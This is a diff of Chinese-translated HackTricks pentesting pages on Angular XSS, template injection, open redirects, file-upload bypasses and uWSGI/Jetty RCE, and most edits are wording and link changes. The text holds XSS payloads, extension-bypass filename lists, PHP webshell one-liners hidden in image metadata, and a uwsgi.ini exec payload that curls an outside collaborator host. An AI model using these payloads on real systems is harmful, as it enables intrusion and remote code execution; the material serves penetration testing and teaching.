* `RESOURCE_URL` 作为加载并作为代码执行的 URL例如在 `<script src>` 中。 * `RESOURCE_URL` 作为加载并作为代码执行的 URL例如`<script src>` 中。
## 漏洞 ## 漏洞
@ -162,7 +162,7 @@ this.trustedHtml = this.sanitizer.bypassSecurityTrustHtml("<h1>html tag</h1><svg
<h1>html tag</h1> <h1>html tag</h1>
<svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg> <svg onclick="alert('bypassSecurityTrustHtml')" style="display:block">blah</svg>
``` ```
4. `bypassSecurityTrustScript` 用于指示给定值是安全的 JavaScript。然而我们发现行为不可预测,因为我们无法使用此方法在模板中执行 JS 代码。 4. `bypassSecurityTrustScript` 用于指示给定值是安全的 JavaScript。然而我们发现它的行为不可预测,因为我们无法使用此方法在模板中执行 JS 代码。
```jsx ```jsx
//app.component.ts //app.component.ts
@ -191,7 +191,7 @@ Angular 提供了一个 `sanitize` 方法,在将数据显示在视图中之前
### HTML 注入 ### HTML 注入
当用户输入绑定到以下三个属性之一时,就会发生此漏洞:`innerHTML``outerHTML``iframe` `srcdoc`。虽然绑定到这些属性会按原样解释 HTML但输入使用 `SecurityContext.HTML` 进行清理。因此HTML 注入是可能的但跨站脚本XSS则不是。 当用户输入绑定到以下三个属性中的任何一个时,就会发生此漏洞:`innerHTML``outerHTML``iframe` `srcdoc`。虽然绑定到这些属性会按原样解释 HTML但输入使用 `SecurityContext.HTML` 进行清理。因此HTML 注入是可能的但跨站脚本XSS则不是。
使用 `innerHTML` 的示例: 使用 `innerHTML` 的示例:
```jsx ```jsx
@ -210,15 +210,15 @@ test = "<script>alert(1)</script><h1>test</h1>";
//app.component.html //app.component.html
<div [innerHTML]="test"></div> <div [innerHTML]="test"></div>
``` ```
结果是 `<div><h1>test</h1></div>` <div><h1>test</h1></div>
### 模板注入 ### 模板注入
#### 客户端渲染 (CSR) #### 客户端渲染 (CSR)
Angular 利用模板动态构建页面。该方法涉及将模板表达式用双大括号 (`{{}}`) 包围,以便 Angular 进行评估。通过这种方式,框架提供了额外的功能。例如,模板 `{{1+1}}` 将显示为 2。 Angular 利用模板动态构建页面。该方法涉及将模板表达式放在双大括号内 (`{{}}`) 以供 Angular 评估。通过这种方式,框架提供了额外的功能。例如,模板 `{{1+1}}` 将显示为 2。
通常Angular 会转义可能与模板表达式混淆的用户输入(例如,字符如 \`< > ' " \`)。这意味着需要额外的步骤来绕过此限制,例如利用生成 JavaScript 字符串对象的函数,以避免使用黑名单字符。然而,要实现这一点,我们必须考虑 Angular 的上下文、属性和变量。因此,模板注入攻击可能如下所示: 通常Angular 会转义可能与模板表达式混淆的用户输入(例如,字符如 \`< > ' " \`\)。这意味着需要额外的步骤来绕过此限制,例如利用生成 JavaScript 字符串对象的函数,以避免使用黑名单字符。然而,要实现这一点,我们必须考虑 Angular 的上下文、属性和变量。因此,模板注入攻击可能如下所示:
```jsx ```jsx
//app.component.ts //app.component.ts
const _userInput = '{{constructor.constructor(\'alert(1)\'()}}' const _userInput = '{{constructor.constructor(\'alert(1)\'()}}'
@ -231,7 +231,7 @@ template: '<h1>title</h1>' + _userInput
#### 服务器端渲染 (SSR) #### 服务器端渲染 (SSR)
与在浏览器的DOM中发生的CSR不同Angular Universal负责模板文件的SSR。这些文件随后被传递给用户。尽管有这种区别Angular Universal仍然应用与CSR相同的清理机制以增强SSR安全性。在SSR中发现模板注入漏洞的方法与CSR相同因为使用的模板语言是相同的。 与在浏览器的DOM中发生的CSR不同Angular Universal负责模板文件的SSR。这些文件随后被传递给用户。尽管有这种区别Angular Universal仍然应用与CSR相同的清理机制来增强SSR的安全性。在SSR中发现模板注入漏洞的方法与CSR相同因为使用的模板语言是相同的。
当然在使用第三方模板引擎如Pug和Handlebars时也有可能引入新的模板注入漏洞。 当然在使用第三方模板引擎如Pug和Handlebars时也有可能引入新的模板注入漏洞。
@ -292,9 +292,9 @@ document.body.appendChild(a);
``` ```
#### Angular 类 #### Angular 类
在 Angular 中,有一些类可以用于处理 DOM 元素:`ElementRef``Renderer2``Location``Document`。关于后两个类的详细描述在 **Open redirects** 部分中给出。前两个类的主要区别在于 `Renderer2` API 提供了 DOM 元素和组件代码之间的抽象层,而 `ElementRef` 仅持有对元素的引用。因此,根据 Angular 文档,`ElementRef` API 应仅在需要直接访问 DOM 时作为最后的手段使用。 在 Angular 中,有一些类可以用于处理 DOM 元素:`ElementRef``Renderer2``Location``Document`。关于后两个类的详细描述在 **Open redirects** 部分中给出。前两个类的主要区别在于 `Renderer2` API 提供了一个在 DOM 元素和组件代码之间的抽象层,而 `ElementRef` 仅持有对元素的引用。因此,根据 Angular 文档,`ElementRef` API 应仅在需要直接访问 DOM 时作为最后的手段使用。
* `ElementRef` 包含属性 `nativeElement`,可用于操作 DOM 元素。然而,不当使用 `nativeElement` 可能导致 XSS 注入漏洞,如下所示: * `ElementRef` 包含属性 `nativeElement`,可用于操作 DOM 元素。然而,不当使用 `nativeElement` 可能导致 XSS 注入漏洞,如下所示:
```tsx ```tsx
//app.component.ts //app.component.ts
@ -371,13 +371,13 @@ this.renderer2.setProperty(this.img.nativeElement, 'innerHTML', '<img src=1 oner
<button (click)="setProperty()">Click me!</button> <button (click)="setProperty()">Click me!</button>
``` ```
在我们的研究中,我们还检查了其他 `Renderer2` 方法的行为,如 `setStyle()``createComment()``setValue()`,与 XSS 和 CSS 注入的关系。然而,由于这些方法的功能限制,我们未能找到有效的攻击向量。 在我们的研究中,我们还检查了其他 `Renderer2` 方法的行为,`setStyle()``createComment()``setValue()`,与 XSS 和 CSS 注入的关系。然而,由于这些方法的功能限制,我们未能找到有效的攻击向量。
#### jQuery #### jQuery
jQuery 是一个快速、小巧且功能丰富的 JavaScript 库,可以在 Angular 项目中用于操作 HTML DOM 对象。然而,众所周知,该库的方法可能被利用以实现 XSS 漏洞。为了讨论一些易受攻击的 jQuery 方法如何在 Angular 项目中被利用,我们添加了这一小节。 jQuery 是一个快速、小巧且功能丰富的 JavaScript 库,可以在 Angular 项目中用于操作 HTML DOM 对象。然而,众所周知,该库的方法可能被利用以实现 XSS 漏洞。为了讨论一些易受攻击的 jQuery 方法如何在 Angular 项目中被利用,我们添加了这一小节。
* `html()` 方法获取匹配元素集合中第一个元素的 HTML 内容,或设置每个匹配元素的 HTML 内容。然而,按设计,任何接受 HTML 字符串的 jQuery 构造函数或方法都可能执行代码。这可能通过注入 `<script>` 标签或使用执行代码的 HTML 属性来发生,如例所示。 * `html()` 方法获取匹配元素集合中第一个元素的 HTML 内容,或设置每个匹配元素的 HTML 内容。然而,按设计,任何接受 HTML 字符串的 jQuery 构造函数或方法都可能执行代码。这可能通过注入 `<script>` 标签或使用执行代码的 HTML 属性来发生,如例所示。
```tsx ```tsx
//app.component.ts //app.component.ts
@ -410,7 +410,7 @@ $("p").html("<script>alert(1)</script>");
jQuery.parseHTML(data [, context ] [, keepScripts ]) jQuery.parseHTML(data [, context ] [, keepScripts ])
``` ```
如前所述,大多数接受 HTML 字符串的 jQuery API 将运行包含在 HTML 中的脚本。`jQuery.parseHTML()` 方法不会运行解析 HTML 中的脚本,除非 `keepScripts` 显式为 `true`。然而,在大多数环境中,仍然可以间接执行脚本;例如,通过 `<img onerror>` 属性。 如前所述,大多数接受 HTML 字符串的 jQuery API 将运行包含在 HTML 中的脚本。`jQuery.parseHTML()` 方法不会在解析的 HTML 中运行脚本,除非 `keepScripts` 显式为 `true`。然而,在大多数环境中,仍然可以间接执行脚本;例如,通过 `<img onerror>` 属性。
```tsx ```tsx
//app.component.ts //app.component.ts
@ -450,7 +450,7 @@ $palias.append(html);
* `window.location.href`(和 `document.location.href` * `window.location.href`(和 `document.location.href`
获取当前 DOM 位置对象的标准方法是使用 `window.location`。它也可以用于将浏览器重定向到新页面。因此,控制该对象使我们能够利用开放重定向漏洞。 获取当前 DOM 位置对象的规范方法是使用 `window.location`。它也可以用于将浏览器重定向到新页面。因此,控制该对象使我们能够利用开放重定向漏洞。
```tsx ```tsx
//app.component.ts //app.component.ts
@ -510,7 +510,7 @@ window.open("https://google.com/about", "_blank")
#### Angular 类 #### Angular 类
* 根据 Angular 文档Angular `Document` 与 DOM 文档相同,这意味着可以使用常见的向量来利用 Angular 中的客户端漏洞。`Document.location` 属性和方法可能是成功开放重定向攻击的入口,如示例所示: * 根据 Angular 文档Angular `Document` 与 DOM 文档相同,这意味着可以使用常见的向量来利用 Angular 中的客户端漏洞。`Document.location` 属性和方法可能是成功的开放重定向攻击的入口,如下例所示:
```tsx ```tsx
//app.component.ts //app.component.ts
@ -592,7 +592,7 @@ this.router.navigateByUrl('URL')
* [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts) * [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
* [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md) * [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
* [Angular Universal](https://angular.io/guide/universal) * [Angular Universal](https://angular.io/guide/universal)
* [DOM XSS](https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/dom-xss) * [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)
* [Angular ElementRef](https://angular.io/api/core/ElementRef) * [Angular ElementRef](https://angular.io/api/core/ElementRef)
* [Angular Renderer2](https://angular.io/api/core/Renderer2) * [Angular Renderer2](https://angular.io/api/core/Renderer2)
* [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/) * [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)

View File

@ -5,7 +5,7 @@
如果您想了解更多关于枚举和滥用 Buckets 的信息,请查看此页面: 如果您想了解更多关于枚举和滥用 Buckets 的信息,请查看此页面:
{{#ref}} {{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html#aws---s3-unauthenticated-enum
{{#endref}} {{#endref}}
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,12 +4,12 @@
## 什么是 Firebase ## 什么是 Firebase
Firebase 是一种主要用于移动应用的后端即服务Backend-as-a-Service。它专注于消除编程后端的负担,提供了一个良好的 SDK 以及许多其他有趣的功能,方便应用与后端之间的交互。 Firebase 是一种主要用于移动应用的后端即服务。它专注于消除编程后端的负担,提供了一个良好的 SDK 以及许多其他有趣的功能,方便应用与后端之间的交互。
了解更多关于 Firebase 的信息: 了解更多关于 Firebase 的信息:
{{#ref}} {{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/gcp-security/gcp-services/gcp-databases-enum/gcp-firebase-enum https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.html
{{#endref}} {{#endref}}
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}

View File

@ -7,7 +7,7 @@
其他有用的扩展名: 其他有用的扩展名:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **在 PHPv8 中工作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ - **在PHPv8中工作**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -21,7 +21,7 @@
2. _检查**在执行扩展名之前添加有效扩展名**也使用之前的扩展名_ 2. _检查**在执行扩展名之前添加有效扩展名**也使用之前的扩展名_
- _file.png.php_ - _file.png.php_
- _file.png.Php5_ - _file.png.Php5_
3. 尝试在末尾添加**特殊字符**。可以使用 Burp 来**暴力破解**所有**ascii**和**Unicode**字符。(_注意你也可以尝试使用**之前**提到的**扩展名**_) 3. 尝试在末尾添加**特殊字符**。可以使用Burp来**暴力破解**所有**ascii**和**Unicode**字符。 (_注意你也可以尝试使用**之前**提到的**扩展名**_)
- _file.php%20_ - _file.php%20_
- _file.php%0a_ - _file.php%0a_
- _file.php%00_ - _file.php%00_
@ -31,7 +31,7 @@
- _file._ - _file._
- _file.php...._ - _file.php...._
- _file.pHp5...._ - _file.pHp5...._
4. 尝试通过**欺骗服务器端的扩展解析器**来绕过保护,使用**双重**扩展名或在扩展名之间**添加垃圾**数据(**null**字节)等技术。_你也可以使用**之前的扩展名**来准备更好的有效载荷。_ 4. 尝试通过**欺骗服务器端的扩展解析器**来绕过保护,使用**双重**扩展名或在扩展名之间**添加垃圾**数据(**null**字节。_你也可以使用**之前的扩展名**来准备更好的有效载荷。_
- _file.png.php_ - _file.png.php_
- _file.png.pHp5_ - _file.png.pHp5_
- _file.php#.png_ - _file.php#.png_
@ -40,19 +40,19 @@
- _file.php%0a.png_ - _file.php%0a.png_
- _file.php%0d%0a.png_ - _file.php%0d%0a.png_
- _file.phpJunk123png_ - _file.phpJunk123png_
5. 为之前的检查添加**另一层扩展名** 5. 在之前的检查中添加**另一层扩展名**
- _file.png.jpg.php_ - _file.png.jpg.php_
- _file.php%00.png%00.jpg_ - _file.php%00.png%00.jpg_
6. 尝试将**执行扩展名放在有效扩展名之前**,并祈祷服务器配置错误。(有助于利用 Apache 配置错误的情况,其中任何带有扩展名**_**.php**_**的内容,但不一定以 .php** 结尾的内容将执行代码): 6. 尝试将**exec扩展名放在有效扩展名之前**并祈祷服务器配置错误。有助于利用Apache配置错误其中任何带有扩展名**_**.php**_**的内容,但不一定以.php结尾**将执行代码):
- _例如: file.php.png_ - _例如: file.php.png_
7. 在**Windows**中使用**NTFS 备用数据流 (ADS)**。在这种情况下,冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个**带有禁止扩展名的空文件**例如“file.asax:.jpg”。该文件可以稍后使用其他技术进行编辑例如使用其短文件名。可以使用“**::$data**”模式来创建非空文件。因此,在此模式后添加一个点字符也可能有助于绕过进一步的限制例如“file.asp::$data.”) 7. 在**Windows**中使用**NTFS备用数据流ADS**。在这种情况下,冒号字符“:”将插入在禁止扩展名之后和允许扩展名之前。因此,将在服务器上创建一个**带有禁止扩展名的空文件**例如“file.asax:.jpg”。该文件可以稍后使用其他技术进行编辑例如使用其短文件名。“**::$data**”模式也可以用于创建非空文件。因此在此模式后添加点字符也可能有助于绕过进一步的限制例如“file.asp::$data.”)
8. 尝试打破文件名限制。有效扩展名被截断,恶意 PHP 被保留。AAA<--SNIP-->AAA.php 8. 尝试打破文件名限制。有效扩展名被截断恶意PHP被保留。AAA<--SNIP-->AAA.php
``` ```
# Linux 最大 255 字节 # Linux最大255字节
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去 4 并添加 .png Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # 在这里减去4并添加.png
# 上传文件并检查响应允许多少个字符。假设 236 # 上传文件并检查响应允许多少个字符。假设236
python -c 'print "A" * 232' python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# 制作有效载荷 # 制作有效载荷
@ -61,54 +61,54 @@ AAA<--SNIP 232 A-->AAA.php.png
### 绕过内容类型、魔术数字、压缩和调整大小 ### 绕过内容类型、魔术数字、压缩和调整大小
- 通过将**Content-Type** **头**的**值**设置为_image/png_ , _text/plain , application/octet-stream_ 来绕过**Content-Type**检查 - 通过将**Content-Type** **header**的**值**设置为_image/png_ , _text/plain , application/octet-stream_来绕过**Content-Type**检查
1. Content-Type **字典**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) 1. Content-Type **字典**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- 通过在文件开头添加**真实图像的字节**混淆_file_命令来绕过**魔术数字**检查。或者在**元数据**中引入 shell\ - 通过在文件开头添加**真实图像的字节**混淆_file_命令来绕过**魔术数字**检查。或者在**元数据**中引入shell\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\ `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` 或者你也可以**直接在图像中引入有效载荷**\ `\` 或者你也可以**直接在图像中引入有效载荷**\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png` `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- 如果**压缩被添加到你的图像**,例如使用一些标准的 PHP [PHP-GD](https://www.php.net/manual/fr/book.image.php),那么之前的技术将无效。然而,你可以使用**PLTE 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本,使其**在压缩中存活**。 - 如果**压缩被添加到你的图像**例如使用一些标准的PHP库如[PHP-GD](https://www.php.net/manual/fr/book.image.php),那么之前的技术将无效。然而,你可以使用**PLTE块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
- [**Github 上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) - [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- 网页也可能在**调整图像大小**,例如使用 PHP-GD 函数 `imagecopyresized` `imagecopyresampled`。然而,你可以使用**IDAT 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本,使其**在压缩中存活**。 - 网页也可能在**调整图像大小**例如使用PHP-GD函数`imagecopyresized``imagecopyresampled`。然而,你可以使用**IDAT块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
- [**Github 上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) - [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- 另一种制作**在图像调整大小中存活的有效载荷**的技术,使用 PHP-GD 函数 `thumbnailImage`。然而,你可以使用**tEXt 块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) 来插入一些文本,使其**在压缩中存活**。 - 另一种制作**在图像调整大小中存活的有效载荷**的技术使用PHP-GD函数`thumbnailImage`。然而,你可以使用**tEXt块** [**在这里定义的技术**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)来插入一些文本,使其**在压缩中存活**。
- [**Github 上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) - [**Github上的代码**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### 其他检查技巧 ### 其他检查技巧
- 找到一个**重命名**已上传文件的漏洞(以更改扩展名)。 - 找到一个**重命名**已上传文件的漏洞(以更改扩展名)。
- 找到一个**本地文件包含**漏洞以执行后门。 - 找到一个**本地文件包含**漏洞以执行后门。
- **可能的信息泄露** - **可能的信息泄露**
1. 上传**多次**(并且在**同一时间**)相同名称的**相同文件** 1. **多次**(并且在**同一时间**)上传**同一文件**,并使用**相同的名称**
2. 上传一个**已经存在的**文件或**文件夹**的**名称**的文件 2. 上传一个**已经存在的**文件或**文件夹**的**名称**的文件
3. 上传一个文件,其名称为**“.”、 “..”或“…”**。例如,在 Apache 的**Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,则“.”文件名将创建一个名为“uploads”的文件在“/www/”目录中 3. 上传一个文件,其名称为**“.”, “..”, 或 “…”**。例如在Apache的**Windows**中,如果应用程序将上传的文件保存在“/www/uploads/”目录中,则“.”文件名将在“/www/”目录中创建一个名为“uploads”的文件。
4. 上传一个可能不容易删除的文件,例如**“…:.jpg”**在**NTFS**中。Windows 4. 上传一个可能不容易删除的文件,例如**“…:.jpg”**在**NTFS**中。Windows
5. 在**Windows**中上传一个包含**无效字符**的文件,例如 `|<>*?”` 作为其名称Windows 5. 在**Windows**中上传一个文件,其名称中包含**无效字符**,例如`|<>*?”`Windows
6. 在**Windows**中上传一个使用**保留****禁止****名称**的文件,例如 CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 和 LPT9。 6. 在**Windows**中上传一个文件,使用**保留****禁止****名称**例如CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, 和 LPT9。
- 还可以尝试**上传一个可执行文件**.exe或一个**.html**(不太可疑),当受害者意外打开时**将执行代码**。 - 还可以尝试**上传一个可执行文件**.exe或一个**.html**(不太可疑),当受害者意外打开时**将执行代码**。
### 特殊扩展名技巧 ### 特殊扩展名技巧
如果你尝试将文件上传到**PHP 服务器** [查看**.htaccess**技巧以执行代码](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)。\ 如果你尝试将文件上传到**PHP服务器** [查看**.htaccess**技巧以执行代码](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
如果你尝试将文件上传到**ASP 服务器** [查看**.config**技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。 如果你尝试将文件上传到**ASP服务器** [查看**.config**技巧以执行代码](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
`.phar` 文件类似于 Java `.jar`,但用于 PHP并且可以**像 PHP 文件一样使用**(通过 PHP 执行或在脚本中包含它... `.phar`文件类似于Java的`.jar`但用于PHP并且可以**像PHP文件一样使用**通过PHP执行或在脚本中包含它...
`.inc` 扩展名有时用于仅用于**导入文件**的 PHP 文件,因此,在某些时候,可能有人允许**此扩展名被执行**。 `.inc`扩展名有时用于仅用于**导入文件**的PHP文件因此在某些时候可能有人允许**此扩展名被执行**。
## **Jetty RCE** ## **Jetty RCE**
如果你可以将 XML 文件上传到 Jetty 服务器,你可以获得 [RCE因为**新的 \*.xml \*.war 会被自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 所以,如下图所示,将 XML 文件上传到 `$JETTY_BASE/webapps/` 并期待 shell 如果你可以将XML文件上传到Jetty服务器你可以获得[RCE因为**新的\*.xml和\*.war会被自动处理**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**。** 所以如下图所示将XML文件上传到`$JETTY_BASE/webapps/`并期待shell
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE** ## **uWSGI RCE**
有关此漏洞的详细探索,请查看原始研究:[uWSGI RCE 利用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。 有关此漏洞的详细探索,请查看原始研究:[uWSGI RCE利用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
如果能够修改 `.ini` 配置文件,则可以在 uWSGI 服务器中利用远程命令执行RCE漏洞。uWSGI 配置文件利用特定语法来包含“魔术”变量、占位符和操作符。特别是,`@` 操作符,作为 `@(filename)` 使用,旨在包含文件的内容。在 uWSGI 支持的各种方案中“exec”方案特别强大允许从进程的标准输出读取数据。当处理 `.ini` 配置文件时,可以利用此功能进行恶意目的,例如远程命令执行或任意文件写入/读取。 如果能够修改`.ini`配置文件则可以在uWSGI服务器中利用远程命令执行RCE漏洞。uWSGI配置文件利用特定语法来包含“魔术”变量、占位符和操作符。值得注意的是,`@`操作符,作为`@(filename)`使用旨在包含文件的内容。在uWSGI支持的各种方案中“exec”方案特别强大允许从进程的标准输出读取数据。当处理`.ini`配置文件时,可以利用此功能进行恶意目的,例如远程命令执行或任意文件写入/读取。
考虑以下有害的 `uwsgi.ini` 文件示例,展示各种方案: 考虑以下有害的`uwsgi.ini`文件示例,展示各种方案:
```ini ```ini
[uwsgi] [uwsgi]
; read from a symbol ; read from a symbol
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char * ; call a function returning a char *
characters = @(call://uwsgi_func) characters = @(call://uwsgi_func)
``` ```
有效负载的执行发生在配置文件解析期间。为了激活和解析配置uWSGI 进程必须重新启动(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。如果启用自动重载功能,在检测到更改时会在指定的时间间隔内重新加载文件。 有效负载的执行发生在配置文件解析期间。为了激活和解析配置uWSGI 进程必须重新启动(可能是在崩溃后或由于拒绝服务攻击)或文件必须设置为自动重载。如果启用自动重载功能,在检测到更改时会在指定的时间间隔内重新加载文件。
理解 uWSGI 配置文件解析的宽松性质至关重要。具体来说,讨论的有效负载可以插入到二进制文件中(例如图像或 PDF进一步扩大潜在利用的范围。 理解 uWSGI 配置文件解析的宽松性质至关重要。具体来说,讨论的有效负载可以插入到二进制文件中(例如图像或 PDF进一步扩大潜在利用的范围。
## **wget 文件上传/SSRF 技巧** ## **wget 文件上传/SSRF 技巧**
在某些情况下,您可能会发现服务器使用 **`wget`** 来 **下载文件**,并且您可以 **指示** **URL**。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保仅下载允许的文件。然而,**此检查可以被绕过。**\ 在某些情况下,您可能会发现服务器使用 **`wget`** 来 **下载文件**,并且您可以 **指示** **URL**。在这些情况下,代码可能会检查下载文件的扩展名是否在白名单中,以确保仅下载允许的文件。然而,**此检查可以被绕过。**\
